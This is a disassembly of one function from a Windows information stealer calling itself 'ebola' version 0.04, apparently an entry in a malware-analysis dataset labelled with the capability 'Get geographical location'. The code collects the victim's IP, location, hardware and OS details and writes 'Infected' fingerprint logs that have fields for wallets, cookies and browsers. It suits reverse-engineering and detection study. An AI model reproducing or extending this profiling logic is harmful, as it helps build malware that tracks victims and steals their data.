Function at 0x140003530
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x260
lea r8, [rbp + 0xd0]
mov rdi, rcx
sub r8, rcx
mov rax, rcx
nop
movzx edx, byte [rax]
mov byte [r8 + rax], dl
lea rax, [rax + 1]
test dl, dl
jne 0x140003560
lea rcx, [rbp + 0xd0]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140003580
movups xmm0, xmmword [str.GENERAL_INFO.txt]
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
call fcn.140002e90
mov dword [rbp + 0x190], eax
call fcn.140002e60
mov qword [rbp + 0x198], rax
call fcn.140002b40
mov rsi, rax
call fcn.140002d60
mov r14, rax
call fcn.140002ed0
mov r15, rax
call fcn.140002c20
mov r12, rax
call fcn.140002be0
xor ecx, ecx
mov r13, rax
call sub.api_ms_win_crt_time_l1_1_0.dll__time64
lea rcx, [rbp + 0x1a0]
mov qword [rbp + 0x1a0], rax
call sub.api_ms_win_crt_time_l1_1_0.dll__localtime64
lea rdx, [0x14012dd08]
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm0
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
lea rdx, str.______v__e__r__s__i__o__n__0__.__0__4______________________________________________n
mov rcx, rax
mov rbx, rax
call fcn.140003cc0
lea rdx, str.________jesus_Christ_____________________________________________________________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.______________________bbbbb_____________________________________aaaaaaaa_________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.______________eeeeeee_bbbbb_ee______________oooo_____________aaaaaaaaaaaa________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str._____________eeeeeeee_bbbbb_e____________opooooqo___________aaaa______aaaa_______n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.____________eeee______bbbbb____________ooop___qooo_________aaaa______aaaa________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.___________eeee_______bbbbbb__________ooo_____ooo_________aaaa______aaaa_________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.__________eeeeeeeeeee_bbbbbbbb_______ooo_____ooo_________aaaaaaaaaaaaaa__________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str._________eeeeeeeeeeee_bbbbbbbbbb____ooo_____ooo_________aaaaa____aaaaa___________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.________eeee__________bbbb____bbbb_ooob___dooo_________aaaa______aaaa____________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str._______eeee___________bbb______bbbb_oboooodo__________aaaa______aaaa_____________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.______eeeeeeeeeeeeeee_bbb______bbbb__oooo______________________aaaa______________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.______eeeeeeeeeeeeee__bbbb____bbbb____________________________aaaaaaa____________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.______________________bbbbb_bbbbb_________________aaaaa______aaaaaaaaa___________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str.__________________________________________________________version_0.04___________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, str._________R__E__F__O__R__M__A__T__E__D________R__E__F__O__R__M__A__T__E__D__________n
mov rcx, rbx
call fcn.140003cc0
lea rdx, [0x14012e6f0]
mov rcx, rbx
call fcn.140003cc0
lea r8, [0x140165c10]
mov rcx, rbx
lea rdx, str.ip_addr_____:_t_s_n
call fcn.140003cc0
lea r8, [0x140165a70]
mov rcx, rbx
lea rdx, str.Country_____:_t_s_n
call fcn.140003cc0
lea r8, [0x140165a90]
mov rcx, rbx
lea rdx, str.CountryCode_:_t_s_n
call fcn.140003cc0
lea r8, [0x140165ab0]
mov rcx, rbx
lea rdx, str.Region______:_t_s_n
call fcn.140003cc0
lea r8, [0x140165ad0]
mov rcx, rbx
lea rdx, str.Region2_____:_t_s_n
call fcn.140003cc0
lea r8, [0x140165af0]
mov rcx, rbx
lea rdx, str.City________:_t_s_n
call fcn.140003cc0
lea r8, [0x140165b10]
mov rcx, rbx
lea rdx, str.ZIP_CODE____:_t_s_n
call fcn.140003cc0
lea r8, [0x140165b30]
mov rcx, rbx
lea rdx, str.LAT_________:_t_s_n
call fcn.140003cc0
lea r8, [0x140165b50]
mov rcx, rbx
lea rdx, str.LON_________:_t_s_n
call fcn.140003cc0
lea r8, [0x140165b70]
mov rcx, rbx
lea rdx, str.TIMEZONE____:_t_s_n
call fcn.140003cc0
lea r8, [0x140165bb0]
mov rcx, rbx
lea rdx, str.CURRENCY____:_t_s_n
call fcn.140003cc0
lea r8, [0x140165bd0]
mov rcx, rbx
lea rdx, str.DNS_NAME____:_t_s_n_n
call fcn.140003cc0
lea rdx, str._n_n
mov rcx, rbx
call fcn.140003cc0
mov rax, qword [rbp + 0x198]
lea rdx, str.Name__:_t_s_nOS.___:_t_s_nRAM___:_t_llu_Mb._nVideoC:_t_s_nProc__:_t_s_n
mov qword [rsp + 0x30], r14
mov r9, r12
mov qword [rsp + 0x28], r15
mov r8, rsi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140003cc0
lea rdx, str._n_n_n
mov rcx, rbx
call fcn.140003cc0
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
xorps xmm0, xmm0
lea rdx, [rbp - 0x60]
movups xmmword [rbp - 0x60], xmm0
sub rdx, rdi
mov rcx, rdi
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400038a2
lea rcx, [rbp - 0x60]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400038c0
movsd xmm0, qword [str.Info.json]
mov edx, 0x5c
movzx eax, word [0x14012e930]
movsd qword [rcx], xmm0
xorps xmm0, xmm0
mov word [rcx + 8], ax
movzx eax, byte [0x14012e932]
mov byte [rcx + 0xa], al
mov rcx, rdi
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140003940
lea rcx, [rax + 1]
lea r8, [rbp + 0x20]
sub r8, rcx
movzx eax, byte [rcx]
mov byte [r8 + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140003931
lea rdx, [0x14012dd08]
lea rcx, [rbp - 0x60]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
movups xmm0, xmmword [rbp - 0x80]
mov r9, qword [rbp + 0x198]
mov rbx, rax
lea rax, [rbp + 0x20]
mov rcx, rbx
movd r8d, xmm0
psrldq xmm0, 4
movd edx, xmm0
movups xmm0, xmmword [rbp - 0x70]
inc r8d
add edx, 0x76c
psrldq xmm0, 0xc
movd dword [rsp + 0x88], xmm0
mov dword [rsp + 0x80], r8d
mov r8d, dword [rbp + 0x190]
mov dword [rsp + 0x78], edx
lea rdx, str._n_____Infected_:__n_________fingerPrints_:__n_____________PC_ID_:___lu___n_____________PC_RAM_:___llu_Mb.___n_____________PC_VID_:___s___n_____________PC_PRC_:___s___n_____________PC_DIS_:___s___n_____________PC_NAME_:___s___n_____________OS_VER_:___s__n__________n_________WebInfo_:__n_____________IP_:___s___n_____________TimeZone_:___s___n_____________Country_:___s___n_____________City_:___s___n_____________Currency_:___s__n__________n_________LogParser_:__n_____________LogName_:___s___n_____________Web_Wallets_:__Undefined___n_____________Desktop_Wallets_:__Undefined___n_____________Cookies_:__Undefined___n_____________Browsers_:__Undefined__n__________n_________Soft_:__ebola___n_________Version_:__0.04___n_________LogDate_:___d__02d__02d__n_____n
mov qword [rsp + 0x70], rax
lea rax, [0x140165bb0]
mov qword [rsp + 0x68], rax
lea rax, [0x140165ad0]
mov qword [rsp + 0x60], rax
lea rax, [0x140165a70]
mov qword [rsp + 0x58], rax
lea rax, [0x140165b70]
mov qword [rsp + 0x50], rax
lea rax, [0x140165c10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call fcn.1400023e0
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
mov rcx, r15
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, r14
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, r13
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, r12
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [rsp + 0x2b8]
xor eax, eax
add rsp, 0x260
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret